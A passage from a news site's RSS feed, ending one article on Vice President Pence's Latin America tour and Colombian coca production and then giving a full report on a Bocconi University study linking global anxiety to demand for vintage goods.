Pence’s trip will also take him to Buenos Aires, Argentina; Santiago, Chile; and Panama City, Panama, where he is expected to deliver a number of speeches, meet with the country’s leaders and tour the newly expanded Panama Canal.

In Colombia, Pence is also expected to highlight trade, business investment and other ties between the nations, including U.S. support for the country’s efforts to implement its peace deal with the Revolutionary Armed Forces of Colombia.

The U.S. will also likely be looking for assurances that Colombia is taking seriously the surging coca production in the country, which has been blamed partially on Santos’ decision in 2015 to stop using crop-destroying herbicides.

A July United Nations report showed that coca production in Colombia had reached levels not seen in two decades, complicating the South American country’s efforts to make its vast, lawless countryside more secure.

The Trump administration has been putting pressure on the country to curb the flow of drugs into the U.S, and Colombia has stepping up its forced eradication program and increased seizures of cocaine.

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]]> https://briefnews.eu/vp-pence-beginning-a-tour-of-latin-america-as-global-crises-grow/feed/ 0 Nostalgia BOOM: Demand for retro items increases during global crises, study finds https://briefnews.eu/nostalgia-boom-demand-for-retro-items-increases-during-global-crises-study-finds/ https://briefnews.eu/nostalgia-boom-demand-for-retro-items-increases-during-global-crises-study-finds/#respond Sun, 28 May 2017 02:34:26 +0000 http://briefnews.eu/nostalgia-boom-demand-for-retro-items-increases-during-global-crises-study-finds/

A woman wearing retro clothesGETTY-STOCK

There has been a spike in demand for retro items in recent years

The anxiety caused by Brexit, US President Donald Trump, the financial meltdown and threat of a nuclear war has led people to seek comfort in the certainties of the past. 

The trend for vintage clothing, furniture and decor are all products of this, it is claimed. Research team leader Gülen Sarial-Abi, of Milan’s Bocconi University, said: “Vintage items tend to be more preferred when people experience threats. 

“It is perhaps more than coincidental that recent upticks in embracing vintage occurred with the largest global economic recession in many generations. 

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“While no doubt there are many reasons for the popularity of vintage items, the current work suggests one possible explanation for this trend. 

“Major economic uncertainty creates existential unease and presents a global threat to meaning. 

“In our view that might well have led consumers to seek vintage items – tangible, consoling products.” 

Donald Trump shruggingGETTY

Anxiety caused by Brexit and Donald Trump sparked the demand for vintage items

This may explain the rush of nostalgia people get at the end of a year, or at significant turning points, such as reaching 60. 

Vintage items tend to be more preferred when people experience threat

Gülen Sarial-Abi of Bocconi University

Mr Sarial-Abi added: “Other events that prompt feelings of unease, from transitioning to a new calendar year to preparing to enter a new decade in one’s life, to unpredictable moves by dominant and unstable world leaders, could also send people to seek shelter in the comfort of vintage.” 

In a series of tests half of the volunteers were asked to imagine a series of increasingly threatening scenarios from being trapped in a burning building to questioning the meaning of their life. 

The remainder were exposed to more soothing situations. They were then asked how they felt about owning an old watch, Vespa scooter, or vintage clothing, such as a worn leather jacket. 

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Sabrina The Teenage Witch, 1996-2003

Those who had been exposed to the more stressful situations showed a clear preference for the older goods. 

In one case they showed both groups of test subjects a clock with a “domed glass lens with cream dial, traditional roman numerals and classic metal hands”. 

The only difference was in one test the clock was described as a “vintage wall clock from 1965”. In the other it was described as a “brand new wall clock”. 

A Vespa in ItalyGETTY

People exposed to stressful situations were more likely to seek comfort of retro items

Participants offered the vintage item indicated that they felt their lives had more meaning. 

They were also asked to choose between identical pairs of bracelets, watches, shawls, purses, bags, earrings, travel bags and briefcases. 

One item of each pair was described as brand new, whereas the other was described as vintage. 

Those who were most stressed had a preference for vintage items. 

The study, published in the Journal of Consumer Psychology, concluded: “Vintage goods are valued specifically because they have been previously used. 

“These items have a history, one that predates acquisition by the consumer. Vintage items are products that produce a connection with the past. 

“These connections serve as a buffer against threats. The findings provide a new insight, that the perceived history of vintage goods can provide psychological value to consumers after a threat by connecting the past, present, and the future.”

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